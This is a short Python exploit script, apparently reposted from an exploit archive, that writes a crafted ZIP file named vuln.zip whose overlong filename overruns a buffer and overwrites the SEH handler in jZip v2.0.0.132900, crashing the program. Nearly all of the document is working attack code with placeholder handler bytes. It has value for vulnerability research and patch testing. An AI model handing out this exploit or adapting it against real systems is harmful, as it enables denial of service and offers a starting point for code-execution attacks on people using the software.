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Jzip SEH Unicode Buffer Overflow DoS
#!/usr/bin/python ###################################################### # Exploit title: seh unicode buffer overflow (DOS) # Date: 16/04/2014 # Exploit Author: motaz reda [motazkhodair[at]gmail.com] # Software Link : http://www.jzip.com/ # Version: jZip v2.0.0.132900 # Tested On: Windows 7 ultimate ######################################################## import sys, os filename = "vuln.zip" buffer = "\x50\x4B\x03\x04\x14\x00\x00" buffer += "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" buffer += "\x00\x00\x00\x00\x00\x00\x00\x00" buffer += "\xe4\x0f" buffer += "\x00\x00\x00" eo = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" eo += "\x12\x10\x00\x00" eo += "\x02\x10\x00\x00" eo += "\x00\x00" cdf = "\x50\x4B\x01\x02\x14\x00\x14" cdf += "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" cdf += "\x00\x00\x00\x00\x00\x00\x00\x00\x00" cdf += "\xe4\x0f" cdf += "\x00\x00\x00\x00\x00\x00\x01\x00" cdf += "\x24\x00\x00\x00\x00\x00\x00\x00" payload = "A" * 862 payload += "\x42\x42" # NSEH payload += "\x42\x42" # SEH payload += "D" * 3198 payload += ".txt" file = open(filename, "w") zipfile = buffer + payload + cdf + payload + eo file.write(zipfile) file.close() # 0day.today [2024-11-15] #